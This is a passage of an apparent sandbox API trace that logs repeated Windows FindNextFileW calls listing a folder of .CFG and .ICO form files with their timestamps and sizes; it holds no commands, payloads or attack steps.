ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0078.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, 